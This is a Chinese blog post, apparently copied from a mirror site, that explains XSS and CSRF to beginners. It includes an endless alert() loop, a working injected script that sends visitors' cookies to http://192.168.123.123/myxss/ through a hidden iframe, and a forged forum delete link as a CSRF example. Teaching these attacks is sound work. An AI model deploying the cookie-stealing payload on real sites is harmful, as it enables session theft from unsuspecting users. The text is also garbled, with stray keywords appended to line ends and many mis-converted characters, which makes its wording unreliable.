這兩個關鍵詞也是老生常談了,可是還老是容易讓人忘記與搞混~。
XSS與CSRF這兩個關鍵詞時常被拉出來一塊兒比較(尤爲是面試),我在這裏也在寫一篇掃盲文,也幫本身整理一下知識脈絡。javascript
這篇文章會用盡可能「人話」的語言解釋這二個關鍵詞,讓同窗們對跨域,安全有更深一層次的瞭解。php
國際慣例,先上一下維基百科:java
XSS:跨站腳本(Cross-site scripting,一般簡稱爲XSS)是一種網站應用程序的安全漏洞攻擊,是代碼注入的一種。它容許惡意用戶將代碼注入到網頁上,其餘用戶在觀看網頁時就會受到影響。這類攻擊一般包含了HTML以及用戶端腳本語言。
I
CSRF:跨站請求僞造(英語:Cross-site request forgery),也被稱爲 one-click attack 或者 session riding,一般縮寫爲 CSRF 或者 XSRF, 是一種挾制用戶在當前已登陸的Web應用程序上執行非本意的操做的攻擊方法。面試
維基的解釋依舊高深莫測啊,我用 「人話」給你們解釋一下吧。數據庫
XSS: 經過客戶端腳本語言(最多見如:JavaScript)
在一個論壇發帖中發佈一段惡意的JavaScript代碼就是腳本注入,若是這個代碼內容有請求外部服務器,那麼就叫作XSS!segmentfault
CSRF:又稱XSRF,冒充用戶發起請求(在用戶不知情的狀況下),完成一些違背用戶意願的請求(如惡意發帖,刪帖,改密碼,發郵件等)。跨域
不少同窗會搞不明白XSS與CSRF的區別,雖然這兩個關鍵詞時常抱團出現,但他們兩個是不一樣維度的東西(或者說他們的目的是不同的)。
XSS更偏向於方法論,CSRF更偏向於一種形式,只要是僞造用戶發起的請求,均可成爲CSRF攻擊。安全
一般來講CSRF是由XSS實現的,因此CSRF時常也被稱爲XSRF[用XSS的方式實現僞造請求](但實現的方式毫不止一種,還能夠直接經過命令行模式(命令行敲命令來發起請求)直接僞造請求[只要經過合法驗證便可])。
XSS更偏向於代碼實現(即寫一段擁有跨站請求功能的JavaScript腳本注入到一條帖子裏,而後有用戶訪問了這個帖子,這就算是中了XSS攻擊了),CSRF更偏向於一個攻擊結果,只要發起了冒牌請求那麼就算是CSRF了。服務器
簡單來講,條條大路(XSS路,命令行路)通羅馬(CSRF馬,XSRF馬)。cookie
前面講了那麼多理論介紹,那麼咱們來看一看實際代碼吧。
【 Talk is cheap,Show me the code 】
場景:我在一條帖子裏面寫下了以下代碼,發了出去,而後陸陸續續有不少可愛(wu / zhi) 的用戶訪問到這個帖子,而後用戶接下來的全部操做都由我這串代碼掌控了(各類姿式混着玩~)
以下:
while(true){ alert('你關不掉我'); }
這個就是最原始的腳本注入了。
用戶進來就麻煩了,一直彈窗一直彈窗。
那麼XSS(跨站腳本)就是照瓢畫葫了,用JavaScript寫一個請求跨站的腳本就是XSS了,以下:
// 用 <script type="text/javascript"></script> 包起來放在評論中 (function(window, document) { // 構造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://192.168.123.123/myxss/"; var xssURI = xssURIBase + window.encodeURI(cookies); // 創建隱藏 iframe 用於通信 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 開工 document.body.appendChild(hideFrame); })(window, document);
此段代碼攜帶着cookie信息傳輸給了 http://192.168.123.123/myxss/... 這段服務器,而後服務器的代碼就能夠接收到了用戶的隱私消息,繼而繼續作其餘的業務處理(myxss/index.php 中寫一些可怕的代碼,如把用戶信息存進本身的數據庫)。
有沒感受到背後一寒
看到這裏感受到危險了吧(想一想初學程序時咱們的站點徹底沒有這個意識,活生生的是在裸奔),=
既然此段腳本注入能攜帶着用戶信息到收集服務器,那麼再研究研究,他天然能發郵件?發帖?一系列業務邏輯? ~~固然能夠!。
這裏tips一下:上面的代碼僅僅是XSS,並無發生CSRF,由於192.168.123.123/myxss/index.php 僅僅是把用戶信息存起來了而已,他並無「僞造」用戶發起一些請求,因此他只算是XSS攻擊而不算是CSRF攻擊,若是192.168.123.123/myxss/index.php 寫的代碼是 將當前用戶的暱稱改成「我是大笨豬」,那麼就算是CSRF攻擊了,由於這段代碼僞造用戶發出了請求(可是用戶卻不自知)。
那麼下面我介紹一下最最簡單的CSRF攻擊(沒有用到XSS的哦):
一個論壇,通過個人屢次抓包分析(着重分析請求返回頭,請求返回體)瞭解到這個論壇的刪帖操做是觸發 csdnblog.com/bbs/delete_article.php?id=「X" 那麼,我只須要在論壇中發一帖,包含一連接:www.csdnblog.com/bbs/delete_article.php?id=「X" ,只要有用戶點擊了這個連接,那麼ID爲X的這一篇文章就被刪掉了,並且是用戶徹底不知情的狀況(敲黑板狀:此處我可沒有寫XSS腳本哦,我純粹是發一個url地址出來而已,既然刪除操做能夠僞造,那麼只要我細細分析,其餘操做(發帖,更名字,發私信,只要是這個論壇具備的功能)我均可以僞造咯!
XSS與CSRF講完了,回頭我會講下如何防範XSS與CSRF。
今天國慶日,6天后國足將在西安迎戰敘利亞,此打敗負十分關鍵!祝好運!國足隊員加油!
參考文章:
https://segmentfault.com/a/11... 《 總結 XSS 與 CSRF 兩種跨站攻擊 》
http://www.lxway.com/48228121... 《CSRF CORS》
學習/(「抄」) 了很多文章(主要是demo代碼不想重複寫了),侵刪。